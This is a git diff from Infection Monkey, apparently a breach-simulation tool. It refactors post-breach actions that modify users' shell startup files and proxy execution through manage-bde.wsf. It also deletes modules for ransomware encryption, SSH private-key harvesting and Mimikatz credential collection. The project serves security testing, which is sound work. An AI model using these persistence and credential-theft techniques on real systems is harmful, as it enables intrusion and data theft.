b/monkey/infection_monkey/post_breach/shell_startup_files/linux/shell_startup_files_modification.py index ddd8f514b..896e50141 100644 --- a/monkey/infection_monkey/post_breach/shell_startup_files/linux/shell_startup_files_modification.py +++ b/monkey/infection_monkey/post_breach/shell_startup_files/linux/shell_startup_files_modification.py @@ -1,26 +1,37 @@ +import logging import subprocess +from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT from infection_monkey.utils.environment import is_windows_os +logger = logging.getLogger(__name__) + def get_linux_commands_to_modify_shell_startup_files(): if is_windows_os(): return "", [], [] - HOME_DIR = "/home/" + home_dir = "/home/" + command = "cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1" # get list of usernames - USERS = ( - subprocess.check_output( # noqa: DUO116 - "cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1", shell=True + try: + users = ( + subprocess.check_output( # noqa: DUO116 + command, + shell=True, + timeout=MEDIUM_REQUEST_TIMEOUT, + ) + .decode() + .split("\n")[:-1] ) - .decode() - .split("\n")[:-1] - ) + except subprocess.TimeoutExpired: + logger.error(f"Command {command} timed out") + return "", [], [] # get list of paths of different shell startup files with place for username - STARTUP_FILES = [ - file_path.format(HOME_DIR) + startup_files = [ + file_path.format(home_dir) for file_path in [ "{0}{{0}}/.profile", # bash, dash, ksh, sh "{0}{{0}}/.bashrc", # bash @@ -42,6 +53,6 @@ def get_linux_commands_to_modify_shell_startup_files(): "tee -a {0} &&", # append to file "sed -i '$d' {0}", # remove last line of file (undo changes) ], - STARTUP_FILES, - USERS, + startup_files, + users, ) diff --git a/monkey/infection_monkey/post_breach/shell_startup_files/windows/shell_startup_files_modification.py b/monkey/infection_monkey/post_breach/shell_startup_files/windows/shell_startup_files_modification.py index 9d90f3812..c52411120 100644 --- a/monkey/infection_monkey/post_breach/shell_startup_files/windows/shell_startup_files_modification.py +++ b/monkey/infection_monkey/post_breach/shell_startup_files/windows/shell_startup_files_modification.py @@ -1,36 +1,47 @@ +import logging import subprocess from pathlib import Path +from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT from infection_monkey.utils.environment import is_windows_os MODIFY_POWERSHELL_STARTUP_SCRIPT = Path(__file__).parent / "modify_powershell_startup_file.ps1" +logger = logging.getLogger(__name__) + def get_windows_commands_to_modify_shell_startup_files(): if not is_windows_os(): return "", [] # get powershell startup file path - SHELL_STARTUP_FILE = subprocess.check_output("powershell $Profile").decode().split("\r\n")[0] - SHELL_STARTUP_FILE_PATH_COMPONENTS = SHELL_STARTUP_FILE.split("\\") + shell_startup_file = subprocess.check_output("powershell $Profile").decode().split("\r\n")[0] + shell_startup_file_path_components = shell_startup_file.split("\\") # get list of usernames - USERS = ( - subprocess.check_output("dir C:\\Users /b", shell=True) # noqa: DUO116 - .decode() - .split("\r\n")[:-1] - ) - USERS.remove("Public") - - STARTUP_FILES_PER_USER = [ - "\\".join( - SHELL_STARTUP_FILE_PATH_COMPONENTS[:2] + [user] + SHELL_STARTUP_FILE_PATH_COMPONENTS[3:] + command = "dir C:\\Users /b" + try: + users = ( + subprocess.check_output( # noqa: DUO116 + command, shell=True, timeout=MEDIUM_REQUEST_TIMEOUT + ) + .decode() + .split("\r\n")[:-1] ) - for user in USERS + users.remove("Public") + except subprocess.TimeoutExpired: + logger.error(f"Command {command} timed out") + return "", [] + + startup_files_per_user = [ + "\\".join( + shell_startup_file_path_components[:2] + [user] + shell_startup_file_path_components[3:] + ) + for user in users ] return [ "powershell.exe", str(MODIFY_POWERSHELL_STARTUP_SCRIPT), "-startup_file_path {0}", - ], STARTUP_FILES_PER_USER + ], startup_files_per_user diff --git a/monkey/infection_monkey/post_breach/signed_script_proxy/T1216_random_executable.exe b/monkey/infection_monkey/post_breach/signed_script_proxy/T1216_random_executable.exe new file mode 100644 index 000000000..88335be70 Binary files /dev/null and b/monkey/infection_monkey/post_breach/signed_script_proxy/T1216_random_executable.exe differ diff --git a/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py b/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py index 12343d8cf..e1292bb99 100644 --- a/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py +++ b/monkey/infection_monkey/post_breach/signed_script_proxy/signed_script_proxy.py @@ -1,5 +1,9 @@ +import logging import subprocess +from pathlib import Path +from shutil import copyfile +from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT from infection_monkey.post_breach.signed_script_proxy.windows.signed_script_proxy import ( get_windows_commands_to_delete_temp_comspec, get_windows_commands_to_proxy_execution_using_signed_script, @@ -7,15 +11,37 @@ from infection_monkey.post_breach.signed_script_proxy.windows.signed_script_prox ) from infection_monkey.utils.environment import is_windows_os +logger = logging.getLogger(__name__) + +EXECUTABLE_NAME = "T1216_random_executable.exe" +EXECUTABLE_SRC_PATH = Path(__file__).parent / EXECUTABLE_NAME +TEMP_COMSPEC = Path.cwd() / "T1216_random_executable.exe" + def get_commands_to_proxy_execution_using_signed_script(): - windows_cmds = get_windows_commands_to_proxy_execution_using_signed_script() + windows_cmds = get_windows_commands_to_proxy_execution_using_signed_script(TEMP_COMSPEC) return windows_cmds +def copy_executable_to_cwd(): + logger.debug(f"Copying executable from {EXECUTABLE_SRC_PATH} to {TEMP_COMSPEC}") + copyfile(EXECUTABLE_SRC_PATH, TEMP_COMSPEC) + + def cleanup_changes(original_comspec): if is_windows_os(): - subprocess.run( # noqa: DUO116 - get_windows_commands_to_reset_comspec(original_comspec), shell=True - ) - subprocess.run(get_windows_commands_to_delete_temp_comspec(), shell=True) # noqa: DUO116 + try: + subprocess.run( # noqa: DUO116 + get_windows_commands_to_reset_comspec(original_comspec), + shell=True, + timeout=SHORT_REQUEST_TIMEOUT, + ) + subprocess.run( # noqa: DUO116 + get_windows_commands_to_delete_temp_comspec(TEMP_COMSPEC), + shell=True, + timeout=SHORT_REQUEST_TIMEOUT, + ) + except subprocess.CalledProcessError as err: + logger.error(err.output.decode()) + except subprocess.TimeoutExpired as err: + logger.error(str(err)) diff --git a/monkey/infection_monkey/post_breach/signed_script_proxy/windows/signed_script_proxy.py b/monkey/infection_monkey/post_breach/signed_script_proxy/windows/signed_script_proxy.py index 414f95e3e..da960e94d 100644 --- a/monkey/infection_monkey/post_breach/signed_script_proxy/windows/signed_script_proxy.py +++ b/monkey/infection_monkey/post_breach/signed_script_proxy/windows/signed_script_proxy.py @@ -1,32 +1,22 @@ import os +from pathlib import WindowsPath -from infection_monkey.control import ControlClient from infection_monkey.utils.environment import is_windows_os -TEMP_COMSPEC = os.path.join(os.getcwd(), "T1216_random_executable.exe") - -def get_windows_commands_to_proxy_execution_using_signed_script(): +def get_windows_commands_to_proxy_execution_using_signed_script(temp_comspec: WindowsPath): signed_script = "" if is_windows_os(): - _download_random_executable() - windir_path = os.environ["WINDIR"] - signed_script = os.path.join(windir_path, "System32", "manage-bde.wsf") + windir_path = WindowsPath(os.environ["WINDIR"]) + signed_script = str(windir_path / "System32" / "manage-bde.wsf") - return [f"set comspec={TEMP_COMSPEC} &&", f"cscript {signed_script}"] - - -def _download_random_executable(): - download = ControlClient.get_T1216_pba_file() - with open(TEMP_COMSPEC, "wb") as random_exe_obj: - random_exe_obj.write(download.content) - random_exe_obj.flush() + return [f"set comspec={temp_comspec} &&", f"cscript {signed_script}"] def get_windows_commands_to_reset_comspec(original_comspec): return f"set comspec={original_comspec}" -def get_windows_commands_to_delete_temp_comspec(): - return f"del {TEMP_COMSPEC} /f" +def get_windows_commands_to_delete_temp_comspec(temp_comspec: WindowsPath): + return f"del {temp_comspec} /f" diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/__init__.py b/monkey/infection_monkey/puppet/__init__.py similarity index 100% rename from monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/__init__.py rename to monkey/infection_monkey/puppet/__init__.py diff --git a/monkey/infection_monkey/puppet/plugin_registry.py b/monkey/infection_monkey/puppet/plugin_registry.py new file mode 100644 index 000000000..1fdca5bd5 --- /dev/null +++ b/monkey/infection_monkey/puppet/plugin_registry.py @@ -0,0 +1,41 @@ +import logging +from typing import Any + +from infection_monkey.i_puppet import PluginType, UnknownPluginError + +logger = logging.getLogger() + + +class PluginRegistry: + def __init__(self): + """ + `self._registry` looks like - + { + PluginType.EXPLOITER: { + "ZerologonExploiter": ZerologonExploiter, + "SMBExploiter": SMBExploiter + }, + PluginType.PBA: { + "CommunicateAsBackdoorUser": CommunicateAsBackdoorUser + } + } + """ + self._registry = {} + + def load_plugin(self, plugin_name: str, plugin: object, plugin_type: PluginType) -> None: + self._registry.setdefault(plugin_type, {}) + self._registry[plugin_type][plugin_name] = plugin + + logger.debug(f"Plugin '{plugin_name}' loaded") + + def get_plugin(self, plugin_name: str, plugin_type: PluginType) -> Any: + try: + plugin = self._registry[plugin_type][plugin_name] + except KeyError: + raise UnknownPluginError( + f"Unknown plugin '{plugin_name}' of type '{plugin_type.value}'" + ) + + logger.debug(f"Plugin '{plugin_name}' found") + + return plugin diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py new file mode 100644 index 000000000..c7953d83c --- /dev/null +++ b/monkey/infection_monkey/puppet/puppet.py @@ -0,0 +1,84 @@ +import logging +import threading +from typing import Dict, Iterable, List, Sequence + +from common.common_consts.timeouts import CONNECTION_TIMEOUT +from infection_monkey import network_scanning +from infection_monkey.i_puppet import ( + Credentials, + ExploiterResultData, + FingerprintData, + IPuppet, + PingScanData, + PluginType, + PortScanData, + PostBreachData, +) +from infection_monkey.model import VictimHost + +from .plugin_registry import PluginRegistry + +EMPTY_FINGERPRINT = PingScanData(False, None) + +logger = logging.getLogger() + + +class Puppet(IPuppet): + def __init__(self) -> None: + self._plugin_registry = PluginRegistry() + + def load_plugin(self, plugin_name: str, plugin: object, plugin_type: PluginType) -> None: + self._plugin_registry.load_plugin(plugin_name, plugin, plugin_type) + + def run_credential_collector(self, name: str, options: Dict) -> Sequence[Credentials]: + credential_collector = self._plugin_registry.get_plugin( + name, PluginType.CREDENTIAL_COLLECTOR + ) + return credential_collector.collect_credentials(options) + + def run_pba(self, name: str, options: Dict) -> Iterable[PostBreachData]: + pba = self._plugin_registry.get_plugin(name, PluginType.POST_BREACH_ACTION) + return pba.run(options) + + def ping(self, host: str, timeout: float = CONNECTION_TIMEOUT) -> PingScanData: + return network_scanning.ping(host, timeout) + + def scan_tcp_ports( + self, host: str, ports: List[int], timeout: float = CONNECTION_TIMEOUT + ) -> Dict[int, PortScanData]: + return network_scanning.scan_tcp_ports(host, ports, timeout) + + def fingerprint( + self, + name: str, + host: str, + ping_scan_data: PingScanData, + port_scan_data: Dict[int, PortScanData], + options: Dict, + ) -> FingerprintData: + try: + fingerprinter = self._plugin_registry.get_plugin(name, PluginType.FINGERPRINTER) + return fingerprinter.get_host_fingerprint(host, ping_scan_data, port_scan_data, options) + except Exception: + logger.exception( + f"Unhandled exception occurred " f"while trying to run {name} fingerprinter" + ) + return EMPTY_FINGERPRINT + + def exploit_host( + self, + name: str, + host: VictimHost, + current_depth: int, + options: Dict, + interrupt: threading.Event, + ) -> ExploiterResultData: + exploiter = self._plugin_registry.get_plugin(name, PluginType.EXPLOITER) + return exploiter.exploit_host(host, current_depth, options, interrupt) + + def run_payload(self, name: str, options: Dict, interrupt: threading.Event): + payload = self._plugin_registry.get_plugin(name, PluginType.PAYLOAD) + payload.run(options, interrupt) + + def cleanup(self) -> None: + pass diff --git a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.system_info.collectors.py b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.system_info.collectors.py deleted file mode 100644 index 22d2740bb..000000000 --- a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.system_info.collectors.py +++ /dev/null @@ -1,6 +0,0 @@ -from PyInstaller.utils.hooks import collect_data_files, collect_submodules - -# Import all actions as modules -hiddenimports = collect_submodules("infection_monkey.system_info.collectors") -# Add action files that we enumerate -datas = collect_data_files("infection_monkey.system_info.collectors", include_py_files=True) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py deleted file mode 100644 index 60cdeff84..000000000 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ /dev/null @@ -1,60 +0,0 @@ -import logging -from pathlib import Path -from typing import Callable, List - -from infection_monkey.ransomware.consts import README_FILE_NAME, README_SRC -from infection_monkey.ransomware.ransomware_config import RansomwareConfig -from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem -from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger - -logger = logging.getLogger(__name__) - - -class RansomwarePayload: - def __init__( - self, - config: RansomwareConfig, - encrypt_file: Callable[[Path], None], - select_files: Callable[[Path], List[Path]], - leave_readme: Callable[[Path, Path], None], - telemetry_messenger: ITelemetryMessenger, - ): - self._config = config - - self._encrypt_file = encrypt_file - self._select_files = select_files - self._leave_readme = leave_readme - self._telemetry_messenger = telemetry_messenger - - def run_payload(self): - if not self._config.target_directory: - return - - logger.info("Running ransomware payload") - - if self._config.encryption_enabled: - file_list = self._find_files() - self._encrypt_files(file_list) - - if self._config.readme_enabled: - self._leave_readme(README_SRC, self._config.target_directory / README_FILE_NAME) - - def _find_files(self) -> List[Path]: - logger.info(f"Collecting files in {self._config.target_directory}") - return sorted(self._select_files(self._config.target_directory)) - - def _encrypt_files(self, file_list: List[Path]): - logger.info(f"Encrypting files in {self._config.target_directory}") - - for filepath in file_list: - try: - logger.debug(f"Encrypting {filepath}") - self._encrypt_file(filepath) - self._send_telemetry(filepath, True, "") - except Exception as ex: - logger.warning(f"Error encrypting {filepath}: {ex}") - self._send_telemetry(filepath, False, str(ex)) - - def _send_telemetry(self, filepath: Path, success: bool, error: str): - encryption_attempt = FileEncryptionTelem(str(filepath), success, error) - self._telemetry_messenger.send_telemetry(encryption_attempt) diff --git a/monkey/infection_monkey/readme.md b/monkey/infection_monkey/readme.md index 45488404f..8e4beb03e 100644 --- a/monkey/infection_monkey/readme.md +++ b/monkey/infection_monkey/readme.md @@ -26,7 +26,8 @@ The monkey is a PyInstaller compressed python archives. 1. To build the final exe: - `cd monkey\infection_monkey` - `build_windows.bat` - - output is placed under `dist\monkey32.exe` or `dist\monkey64.exe` depending on your version of Python + + Output is placed under `dist\monkey64.exe`. ## Linux @@ -51,7 +52,7 @@ Tested on Ubuntu 16.04. - `chmod +x build_linux.sh` - `pipenv run ./build_linux.sh` - output is placed under `dist/monkey32` or `dist/monkey64` depending on your version of python + Output is placed under `dist/monkey64`. ### Troubleshooting diff --git a/monkey/infection_monkey/system_info/SSH_info_collector.py b/monkey/infection_monkey/system_info/SSH_info_collector.py deleted file mode 100644 index 85b01978f..000000000 --- a/monkey/infection_monkey/system_info/SSH_info_collector.py +++ /dev/null @@ -1,112 +0,0 @@ -import glob -import logging -import os -import pwd - -from common.utils.attack_utils import ScanStatus -from infection_monkey.telemetry.attack.t1005_telem import T1005Telem - -logger = logging.getLogger(__name__) - - -class SSHCollector(object): - """ - SSH keys and known hosts collection module - """ - - default_dirs = ["/.ssh/", "/"] - - @staticmethod - def get_info(): - logger.info("Started scanning for ssh keys") - home_dirs = SSHCollector.get_home_dirs() - ssh_info = SSHCollector.get_ssh_files(home_dirs) - logger.info("Scanned for ssh keys") - return ssh_info - - @staticmethod - def get_ssh_struct(name, home_dir): - """ - :return: SSH info struct with these fields: - name: username of user, for whom the keys belong - home_dir: users home directory - public_key: contents of *.pub file(public key) - private_key: contents of * file(private key) - known_hosts: contents of known_hosts file(all the servers keys are good for, - possibly hashed) - """ - return { - "name": name, - "home_dir": home_dir, - "public_key": None, - "private_key": None, - "known_hosts": None, - } - - @staticmethod - def get_home_dirs(): - root_dir = SSHCollector.get_ssh_struct("root", "") - home_dirs = [ - SSHCollector.get_ssh_struct(x.pw_name, x.pw_dir) - for x in pwd.getpwall() - if x.pw_dir.startswith("/home") - ] - home_dirs.append(root_dir) - return home_dirs - - @staticmethod - def get_ssh_files(usr_info): - for info in usr_info: - path = info["home_dir"] - for directory in SSHCollector.default_dirs: - if os.path.isdir(path + directory): - try: - current_path = path + directory - # Searching for public key - if glob.glob(os.path.join(current_path, "*.pub")): - # Getting first file in current path with .pub extension(public key) - public = glob.glob(os.path.join(current_path, "*.pub"))[0] - logger.info("Found public key in %s" % public) - try: - with open(public) as f: - info["public_key"] = f.read() - # By default private key has the same name as public, - # only without .pub - private = os.path.splitext(public)[0] - if os.path.exists(private): - try: - with open(private) as f: - # no use from ssh key if it's encrypted - private_key = f.read() - if private_key.find("ENCRYPTED") == -1: - info["private_key"] = private_key - logger.info("Found private key in %s" % private) - T1005Telem( - ScanStatus.USED, "SSH key", "Path: %s" % private - ).send() - else: - continue - except (IOError, OSError): - pass - # By default known hosts file is called 'known_hosts' - known_hosts = os.path.join(current_path, "known_hosts") - if os.path.exists(known_hosts): - try: - with open(known_hosts) as f: - info["known_hosts"] = f.read() - logger.info("Found known_hosts in %s" % known_hosts) - except (IOError, OSError): - pass - # If private key found don't search more - if info["private_key"]: - break - except (IOError, OSError): - pass - except OSError: - pass - usr_info = [ - info - for info in usr_info - if info["private_key"] or info["known_hosts"] or info["public_key"] - ] - return usr_info diff --git a/monkey/infection_monkey/system_info/__init__.py b/monkey/infection_monkey/system_info/__init__.py deleted file mode 100644 index 4761f24fa..000000000 --- a/monkey/infection_monkey/system_info/__init__.py +++ /dev/null @@ -1,76 +0,0 @@ -import logging -import sys -from enum import IntEnum - -import psutil - -from infection_monkey.network.info import get_host_subnets -from infection_monkey.system_info.system_info_collectors_handler import SystemInfoCollectorsHandler - -logger = logging.getLogger(__name__) - -# Linux doesn't have WindowsError -try: - WindowsError -except NameError: - # noinspection PyShadowingBuiltins - WindowsError = psutil.AccessDenied - - -class OperatingSystem(IntEnum): - Windows = 0 - Linux = 1 - - -class SystemInfoCollector(object): - """ - A class that checks the current operating system and calls system information collecting - modules accordingly - """ - - def __init__(self): - self.os = SystemInfoCollector.get_os() - if OperatingSystem.Windows == self.os: - from .windows_info_collector import WindowsInfoCollector - - self.collector = WindowsInfoCollector() - else: - from .linux_info_collector import LinuxInfoCollector - - self.collector = LinuxInfoCollector() - - def get_info(self): - return self.collector.get_info() - - @staticmethod - def get_os(): - if sys.platform.startswith("win"): - return OperatingSystem.Windows - else: - return OperatingSystem.Linux - - -class InfoCollector(object): - """ - Generic Info Collection module - """ - - def __init__(self): - self.info = {"credentials": {}} - - def get_info(self): - # Collect all hardcoded - self.get_network_info() - - # Collect all plugins - SystemInfoCollectorsHandler().execute_all_configured() - - def get_network_info(self): - """ - Adds network information from the host to the system information. - Currently updates with list of networks accessible from host - containing host ip and the subnet range - :return: None. Updates class information - """ - logger.debug("Reading subnets") - self.info["network_info"] = {"networks": get_host_subnets()} diff --git a/monkey/infection_monkey/system_info/collectors/__init__.py b/monkey/infection_monkey/system_info/collectors/__init__.py deleted file mode 100644 index f5b7166e9..000000000 --- a/monkey/infection_monkey/system_info/collectors/__init__.py +++ /dev/null @@ -1,3 +0,0 @@ -""" -This package holds all the dynamic (plugin) collectors -""" diff --git a/monkey/infection_monkey/system_info/collectors/aws_collector.py b/monkey/infection_monkey/system_info/collectors/aws_collector.py deleted file mode 100644 index 074d19cc1..000000000 --- a/monkey/infection_monkey/system_info/collectors/aws_collector.py +++ /dev/null @@ -1,38 +0,0 @@ -import logging - -from common.cloud.aws.aws_instance import AwsInstance -from common.cloud.scoutsuite_consts import CloudProviders -from common.common_consts.system_info_collectors_names import AWS_COLLECTOR -from infection_monkey.network.tools import is_running_on_island -from infection_monkey.system_info.collectors.scoutsuite_collector.scoutsuite_collector import ( - scan_cloud_security, -) -from infection_monkey.system_info.system_info_collector import SystemInfoCollector - -logger = logging.getLogger(__name__) - - -class AwsCollector(SystemInfoCollector): - """ - Extract info from AWS machines. - """ - - def __init__(self): - super().__init__(name=AWS_COLLECTOR) - - def collect(self) -> dict: - logger.info("Collecting AWS info") - if is_running_on_island(): - logger.info("Attempting to scan AWS security with ScoutSuite.") - scan_cloud_security(cloud_type=CloudProviders.AWS) - else: - logger.info("Didn't scan AWS security with ScoutSuite, because not on island.") - aws = AwsInstance() - info = {} - if aws.is_instance(): - logger.info("Machine is an AWS instance") - info = {"instance_id": aws.get_instance_id()} - else: - logger.info("Machine is NOT an AWS instance") - - return info diff --git a/monkey/infection_monkey/system_info/collectors/process_list_collector.py b/monkey/infection_monkey/system_info/collectors/process_list_collector.py deleted file mode 100644 index 12cdf8aeb..000000000 --- a/monkey/infection_monkey/system_info/collectors/process_list_collector.py +++ /dev/null @@ -1,52 +0,0 @@ -import logging - -import psutil - -from common.common_consts.system_info_collectors_names import PROCESS_LIST_COLLECTOR -from infection_monkey.system_info.system_info_collector import SystemInfoCollector - -logger = logging.getLogger(__name__) - -# Linux doesn't have WindowsError -try: - WindowsError -except NameError: - # noinspection PyShadowingBuiltins - WindowsError = psutil.AccessDenied - - -class ProcessListCollector(SystemInfoCollector): - def __init__(self): - super().__init__(name=PROCESS_LIST_COLLECTOR) - - def collect(self) -> dict: - """ - Adds process information from the host to the system information. - Currently lists process name, ID, parent ID, command line - and the full image path of each process. - """ - logger.debug("Reading process list") - processes = {} - for process in psutil.process_iter(): - try: - processes[process.pid] = { - "name": process.name(), - "pid": process.pid, - "ppid": process.ppid(), - "cmdline": " ".join(process.cmdline()), - "full_image_path": process.exe(), - } - except (psutil.AccessDenied, WindowsError): - # we may be running as non root and some processes are impossible to acquire in - # Windows/Linux. - # In this case we'll just add what we know. - processes[process.pid] = { - "name": "null", - "pid": process.pid, - "ppid": process.ppid(), - "cmdline": "ACCESS DENIED", - "full_image_path": "null", - } - continue - - return {"process_list": processes} diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py deleted file mode 100644 index ec8a5e488..000000000 --- a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py +++ /dev/null @@ -1,35 +0,0 @@ -import logging -from typing import Union - -import ScoutSuite.api_run -from ScoutSuite.providers.base.provider import BaseProvider - -from common.cloud.scoutsuite_consts import CloudProviders -from common.utils.exceptions import ScoutSuiteScanError -from infection_monkey.config import WormConfiguration -from infection_monkey.telemetry.scoutsuite_telem import ScoutSuiteTelem - -logger = logging.getLogger(__name__) - - -def scan_cloud_security(cloud_type: CloudProviders): - try: - results = run_scoutsuite(cloud_type.value) - if isinstance(results, dict) and "error" in results and results["error"]: - raise ScoutSuiteScanError(results["error"]) - send_scoutsuite_run_results(results) - except (Exception, ScoutSuiteScanError) as e: - logger.error(f"ScoutSuite didn't scan {cloud_type.value} security because: {e}") - - -def run_scoutsuite(cloud_type: str) -> Union[BaseProvider, dict]: - return ScoutSuite.api_run.run( - provider=cloud_type, - aws_access_key_id=WormConfiguration.aws_access_key_id, - aws_secret_access_key=WormConfiguration.aws_secret_access_key, - aws_session_token=WormConfiguration.aws_session_token, - ) - - -def send_scoutsuite_run_results(run_results: BaseProvider): - ScoutSuiteTelem(run_results).send() diff --git a/monkey/infection_monkey/system_info/linux_info_collector.py b/monkey/infection_monkey/system_info/linux_info_collector.py deleted file mode 100644 index ae35a4a47..000000000 --- a/monkey/infection_monkey/system_info/linux_info_collector.py +++ /dev/null @@ -1,26 +0,0 @@ -import logging - -from infection_monkey.system_info import InfoCollector -from infection_monkey.system_info.SSH_info_collector import SSHCollector - -logger = logging.getLogger(__name__) - - -class LinuxInfoCollector(InfoCollector): - """ - System information collecting module for Linux operating systems - """ - - def __init__(self): - super(LinuxInfoCollector, self).__init__() - - def get_info(self): - """ - Collect Linux system information - Hostname, process list and network subnets - :return: Dict of system information - """ - logger.debug("Running Linux collector") - super(LinuxInfoCollector, self).get_info() - self.info["ssh_info"] = SSHCollector.get_info() - return self.info diff --git a/monkey/infection_monkey/system_info/system_info_collector.py b/monkey/infection_monkey/system_info/system_info_collector.py deleted file mode 100644 index fe160de16..000000000 --- a/monkey/infection_monkey/system_info/system_info_collector.py +++ /dev/null @@ -1,42 +0,0 @@ -from abc import ABCMeta, abstractmethod - -import infection_monkey.system_info.collectors -from infection_monkey.config import WormConfiguration -from infection_monkey.utils.plugins.plugin import Plugin - - -class SystemInfoCollector(Plugin, metaclass=ABCMeta): - """ - ABC for system info collection. See system_info_collector_handler for more info. Basically, - to implement a new system info - collector, inherit from this class in an implementation in the - infection_monkey.system_info.collectors class, and override - the 'collect' method. Don't forget to parse your results in the Monkey Island and to add the - collector to the configuration - as well - see monkey_island.cc.services.processing.system_info_collectors for examples. - - See the Wiki page "How to add a new System Info Collector to the Monkey?" for a detailed guide. - """ - - def __init__(self, name="unknown"): - self.name = name - - @staticmethod - def should_run(class_name) -> bool: - return class_name in WormConfiguration.system_info_collector_classes - - @staticmethod - def base_package_file(): - return infection_monkey.system_info.collectors.__file__ - - @staticmethod - def base_package_name(): - return infection_monkey.system_info.collectors.__package__ - - @abstractmethod - def collect(self) -> dict: - """ - Collect the relevant information and return it in a dictionary. - To be implemented by each collector. - """ - raise NotImplementedError() diff --git a/monkey/infection_monkey/system_info/system_info_collectors_handler.py b/monkey/infection_monkey/system_info/system_info_collectors_handler.py deleted file mode 100644 index 8eddbcb29..000000000 --- a/monkey/infection_monkey/system_info/system_info_collectors_handler.py +++ /dev/null @@ -1,35 +0,0 @@ -import logging -from typing import Sequence - -from infection_monkey.system_info.system_info_collector import SystemInfoCollector -from infection_monkey.telemetry.system_info_telem import SystemInfoTelem - -logger = logging.getLogger(__name__) - - -class SystemInfoCollectorsHandler(object): - def __init__(self): - self.collectors_list = self.config_to_collectors_list() - - def execute_all_configured(self): - successful_collections = 0 - system_info_telemetry = {} - for collector in self.collectors_list: - try: - logger.debug("Executing system info collector: '{}'".format(collector.name)) - collected_info = collector.collect() - system_info_telemetry[collector.name] = collected_info - successful_collections += 1 - except Exception as e: - # If we failed one collector, no need to stop execution. Log and continue. - logger.error("Collector {} failed. Error info: {}".format(collector.name, e)) - logger.info( - "All system info collectors executed. Total {} executed, out of which {} " - "collected successfully.".format(len(self.collectors_list), successful_collections) - ) - - SystemInfoTelem({"collectors": system_info_telemetry}).send() - - @staticmethod - def config_to_collectors_list() -> Sequence[SystemInfoCollector]: - return SystemInfoCollector.get_instances() diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py b/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py deleted file mode 100644 index ab44d85ea..000000000 --- a/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py +++ /dev/null @@ -1,25 +0,0 @@ -from typing import List - -from infection_monkey.system_info.windows_cred_collector import pypykatz_handler -from infection_monkey.system_info.windows_cred_collector.windows_credentials import ( - WindowsCredentials, -) - - -class MimikatzCredentialCollector(object): - @staticmethod - def get_creds(): - creds = pypykatz_handler.get_windows_creds() - return MimikatzCredentialCollector.cred_list_to_cred_dict(creds) - - @staticmethod - def cred_list_to_cred_dict(creds: List[WindowsCredentials]): - cred_dict = {} - for cred in creds: - # TODO: This should be handled by the island, not the agent. There is already similar - # code in monkey_island/cc/models/report/report_dal.py. - # Lets not use "." and "$" in keys, because it will confuse mongo. - # Ideally we should refactor island not to use a dict and simply parse credential list. - key = cred.username.replace(".", ",").replace("$", "") - cred_dict.update({key: cred.to_dict()}) - return cred_dict diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py deleted file mode 100644 index f3242922e..000000000 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ /dev/null @@ -1,53 +0,0 @@ -import logging -import sys - -from common.common_consts.system_info_collectors_names import MIMIKATZ_COLLECTOR -from infection_monkey.system_info.windows_cred_collector.mimikatz_cred_collector import ( - MimikatzCredentialCollector, -) - -sys.coinit_flags = 0 # needed for proper destruction of the wmi python module -import infection_monkey.config # noqa: E402 -from infection_monkey.system_info import InfoCollector # noqa: E402 - -logger = logging.getLogger(__name__) -logger.info("started windows info collector") - - -class WindowsInfoCollector(InfoCollector): - """ - System information collecting module for Windows operating systems - """ - - def __init__(self): - super(WindowsInfoCollector, self).__init__() - self._config = infection_monkey.config.WormConfiguration - - def get_info(self): - """ - Collect Windows system information - Hostname, process list and network subnets - Tries to read credential secrets using mimikatz - :return: Dict of system information - """ - logger.debug("Running Windows collector") - super(WindowsInfoCollector, self).get_info() - # TODO: Think about returning self.get_wmi_info() - from infection_monkey.config import WormConfiguration - - if MIMIKATZ_COLLECTOR in WormConfiguration.system_info_collector_classes: - self.get_mimikatz_info() - - return self.info - - def get_mimikatz_info(self): - logger.info("Gathering mimikatz info") - try: - credentials = MimikatzCredentialCollector.get_creds() - if credentials: - self.info["credentials"].update(credentials) - logger.info("Mimikatz info gathered successfully") - else: - logger.info("No mimikatz info was gathered") - except Exception as e: - logger.info(f"Mimikatz credential collector failed: {e}") diff --git a/monkey/infection_monkey/telemetry/attack/t1105_telem.py b/monkey/infection_monkey/telemetry/attack/t1105_telem.py index 939e2b3e2..a3745a59f 100644 --- a/monkey/infection_monkey/telemetry/attack/t1105_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1105_telem.py @@ -1,8 +1,12 @@ +from pathlib import Path +from typing import Union + +from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.victim_host_telem import AttackTelem class T1105Telem(AttackTelem): - def __init__(self, status, src, dst, filename): + def __init__(self, status: ScanStatus, src: str, dst: str, filename: Union[Path, str]): """ T1105 telemetry. :param status: ScanStatus of technique @@ -11,7 +15,7 @@ class T1105Telem(AttackTelem): :param filename: Uploaded 